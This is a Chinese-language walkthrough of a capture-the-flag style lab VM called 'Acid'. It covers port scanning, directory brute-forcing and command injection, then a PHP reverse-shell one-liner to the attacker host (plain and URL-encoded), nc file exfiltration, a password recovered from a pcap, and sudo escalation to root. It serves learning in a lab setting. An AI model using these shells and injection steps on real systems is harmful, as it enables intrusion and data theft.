Acid靶机渗透流程总结

环境

主机:win10

攻击机:kali

IP:172.20.10.128

工具:Nmap、Dirbuster、Burpsuite、Wireshark(网络流量分析)

靶机信息

靶机:Acid

网络连接方式:nat

IP:未知

目标

获取root权限

查看flag

渗透流程

一、信息收集

发现主机

nmap -sP 172.20.10.0/24

Image.png

得到靶机ip:172.20.10.129

端口扫描

nmap -p0-65535 -sV -O 172.20.10.129

Image.png

靶机开放了33447端口,而这个端口跑的是http服务

直接打开

http://172.20.10.129:33447

Image.png

指纹扫描

whatweb http://172.20.10.129:33447

Image.png

可以知道 靶机的操作系统是ubuntu、网站服务器是Apache/2.4.10、关键字/Challenge

是个登录页面

目录扫描

使用dirbuster工具(kali中,dirbuster工具的字典位于/usr/share/dirbuster/wordlists目录下)

字典

directory-list-2.3-medium.txt

Image.png
Image.png

得到四个目录,再次爆破Challenge这个目录

Image.png

爆破出这个目录下的文件

Image.png

访问cake.php

Image.png

发现刚刚一样的小套路,再次爆破Magic_Box 目录

Image.png

得到

Image.png

访问commadn.php

Image.png

一个命令执行页面

二、漏洞挖掘

打开brupsuite 进行抓包

Image.png
Image.png
Image.png

加上 | ls

Image.png

可以发现这个页面存在命令注入,我们用它来获取shell

三、获取shell

1 . 制作php反弹shell

php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

url编码后

php%20-r%20'%24sock%3Dfsockopen(%22172.20.10.128%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

2 . nc监听

Image.png

3 . 放入shell执行

Image.png

4 . 获得一个shell

Image.png

四、提权

1 . 查看用户

cat /etc/passwd

Image.png

2 . 查找用户文件

find / -user acid 2>/dev/null


Image1.png

发现一个网络流量包文件

3 . 用nc传输到kali

kali

nc -lvnp 3333 > hint.pcapng

靶机

nc 172.20.10.128 3333 < /sbin/raw_vs_isi/hint.pcapng

Image2.png

Image3.png

4 . 使用Wireshark进行分析

Wireshark hint.pcapng

Image4.png

除tcp协议 其他都过滤掉


Image5.png

找到这条数据


Image6.png

得到密码

1337hax0r

在前面页面也有这个密码提示


Image7.png

5 . 提权到saman

su saman

提示


Image8.png

执行

python -c 'import pty;pty.spawn("/bin/bash")'

继续

su saman

输入密码

1337hax0r


Image9.png

成功提权到saman

6 . 提权到root

sudo -i


Image10.png

成功提权到root

7 . 查看flag


Image11.png

完成渗透

知识点

知识点一

php反弹shell

php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

知识点二

网站访问报404 是不存在该目录或文件,报403是禁止访问该目录或文件。

知识点三

查找每个用户文件

find / -user acid 2>/dev/null

知识点四

su and sudo and sudo -i 用法和区别

sudo 暂时切换到超级用户模式以执行超级用户权限。输入的是当前用户密码,但是有时间限制,一般为15分钟。

su 切换到某某用户模式,格式为 su 用户名,默认为root。密码为用户名密码。

sudo -i 为了频繁的执行某些只有超级用户才能执行的权限,输入的是当前密码,不用每次输入密码,没有时间限制。

知识点五

scp命令传输文件,需要开启ssh服务

scp /sbin/raw_vs_isi/hint.pcapng [email protected]:/root/ #将目录下的文件 远程传输到10.10.10.140的/root/目录下

知识点六

kali安装ssh

apt-get install ssh # 安装ssh

service ssh start # 打开ssh服务

service ssh status # 查看状态

service ssh stop # 停止ssh服务

坑点

1 .

在php反弹shell进行url编码的时候,不能完全编码,要对个别字符进行保留,不然会瞬间蹦掉。

php%20-r%20'%24sock%3Dfsockopen(%22172.20.10.128%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

2 .

在用nmap对靶机ip进行扫描,不使用下面参数根本扫描不出靶机信息

-p0-65535

3 .

在分析网络流量包的时候,发现有各式各样的协议包,照文档上看,除tcp协议外,全部过滤。然后一条条查看,在在下图上找到这个数据包,然后里面存在密码。放在实际情况上,又是一个大海捞针的靶机。
Image.png

总结

这套靶机难易程度一般,难的地方还是去找到密码,拿到小权限的shell去找密码提权是巨坑的。看了文档,有不同的方式可以拿到命令注入界面,但是我是通过dirbuster把目录爆破出来的,所以免去了在images目录下找图片这一步,直接进行命令注入。学到了一个新的反弹shell,在网页执行sql语句、反弹shell等需要进行url编码,这点我老是记不住。靶机的流程都一致,不一致的就是获取webshell的方式不同,其余都大同小异。目前知道,命令注入拿shell、文件上传拿shell,mysql数据库写shell。还没有实践的有mysql写shell。

你可能感兴趣的:(Acid靶机渗透流程总结)